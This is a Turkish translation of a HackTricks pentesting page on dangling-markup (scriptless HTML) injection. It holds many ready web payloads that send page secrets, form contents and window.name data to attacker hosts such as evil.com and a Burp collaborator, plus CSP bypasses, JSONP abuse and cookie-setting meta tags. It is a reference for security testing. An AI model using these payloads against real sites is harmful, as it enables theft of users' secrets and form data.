hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2024-03-24 13:33:29 +00:00
..
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-24 13:33:29 +00:00
ss-leaks.md Translated to Turkish 2024-02-10 18:14:16 +00:00

Sarkan İşaretleme - HTML betiksiz enjeksiyon

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

Özet

Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, XSS bir yol bulamazsanız ancak bazı HTML etiketleri enjekte edebilirseniz çok yararlıdır.
Ayrıca, bazı gizli bilgilerin açık metin olarak saklandığı durumlarda ve istemciden dışarı çıkarmak istediğinizde veya bazı betik yürütmesini yanıltmak istediğinizde de kullanışlıdır.

Burada yorumlanan çeşitli teknikler, bazı İçerik Güvenlik Politikası geçişlerini yapmak için beklenmeyen yollarla bilgi dışarı çıkararak kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).

Ana Uygulamalar

ık metin sırlarını çalmak

Sayfa yüklendiğinde <img src='http://evil.com/log.cgi? enjekte ettiğinizde, kurban enjekte edilen img etiketi ile kod arasındaki ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).

Eğer img etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? kullanabilirsiniz.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Dikkat etmeniz gereken bir diğer nokta Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.

CSS @import'i de istismar edebilirsiniz (";" karakterini bulana kadar tüm kodu gönderecektir)

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Ayrıca <table kullanabilirsiniz:

<table background='//your-collaborator-id.burpcollaborator.net?'

Ayrıca bir <base etiketi de ekleyebilirsiniz. Tüm bilgiler kapanan tırnak işareti olana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):

<base target='        <--- Injected
steal me'<b>test</b>

Formları Çalma

<base href='http://evil.com/'>

Sonra, veri gönderen formlar (örneğin <form action='update_profile.php'>) verileri kötü niyetli alan adına gönderecektir.

Formları Çalma 2

Bir form başlığı ayarlayın: <form action='http://evil.com/log_steal'> bu, bir sonraki form başlığını geçersiz kılacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.

Formları Çalma 3

Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Bir saldırgan bunu bilgileri çalmak için kullanabilir.

Bu saldırının bir örneğini bu yazıda bulabilirsiniz.

ık metin sırlarını çalmak 2

En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte etme) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:

<input type='hidden' name='review_body' value="

Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "ık metin sırlarını çalma" ile "Formlar2 çalma" yöntemlerini birleştirir.

Aynı şeyi bir form ve bir <option> etiketi enjekte ederek yapabilirsiniz. Kapanan bir </option> bulunana kadar tüm veriler gönderilecektir:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parametre enjeksiyonu

Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

noscript kullanarak açık metin sırlarını çalmak

<noscript></noscript> Javascript'i desteklemeyen tarayıcılarda içeriği yorumlanacak bir etikettir (Chrome'da Javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).

Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği bir siteye sızdırmak için şunu enjekte etmek olacaktır:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Kullanıcı etkileşimi ile CSP'nin atlatılması

Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimi ile hala veri sızdırabilirsiniz. Bu durumda kullanacağımız yük:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Not: Kurbanı, sizi kontrol ettiğiniz payload'a yönlendirecek bir bağlantıya tıklamaya davet edeceksiniz. Ayrıca, base etiketi içindeki target özniteliği bir sonraki tek tırnak işaretine kadar HTML içeriği içerecektir.
Bu, bağlantıya tıklandığında window.name'nin değerinin tüm bu HTML içeriği olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu window.name'e erişebilir ve bu veriyi dışa aktarabilirsiniz:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı

HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilgilerin paylaşılacağını seçiyorsunuz:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Yanıltıcı betik iş akışı 2 - Betik ad alanı saldırısı

HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP'nin Kötüye Kullanımı

Eğer bir JSONP arayüzü bulursanız, keyfi verilerle keyfi bir fonksiyonu çağırabilirsiniz:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:

<script src='/search?q=a&call=alert(1)'></script>

Iframe kötüye kullanımı

Bir çocuk belgesi, üst belgenin location özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Bu, şöyle bir şeyle hafifletilebilir: sandbox=' allow-scripts allow-top-navigation'

Bir iframe, iframe adı özniteliğini kullanarak farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bu, hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu istismar eden bir iframe oluşturabileceğiniz anlamına gelir ve ardından başlangıç iframe'ından bu adı erişerek sızdırabilirsiniz.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Daha fazla bilgi için buraya bakabilirsiniz.

<meta kötüye kullanımı

meta http-equiv kullanarak bir Çerez ayarlamak gibi çeşitli eylemler gerçekleştirebilirsiniz: <meta http-equiv="Set-Cookie" Content="SESSID=1"> veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Bu, http-equiv ile ilgili bir CSP ile önlenir (Content-Security-Policy: default-src 'self';, veya Content-Security-Policy: http-equiv 'self';)

Yeni <portal HTML etiketi

<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma bulabilirsiniz burada.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.

<portal src='https://attacker-server?

HTML Sızıntıları

HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Sızıntıları

Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan zafiyet, saldıracağımız sayfanın aynı kökenine ait bir sayfada HTML enjekte etmeye izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayacağız, başka bir sayfa olacak.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Arama/XS-Sızıntıları

XS-Arama, yan kanal saldırılarını istismar ederek çapraz köken bilgilerini dışa aktarmaya yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesiyle ve olmadan) dahil edilmesini istismar eder, örneğin CSS Enjeksiyonu veya Gecikmeli Yükleme Resimler.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Kaba Kuvvet Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: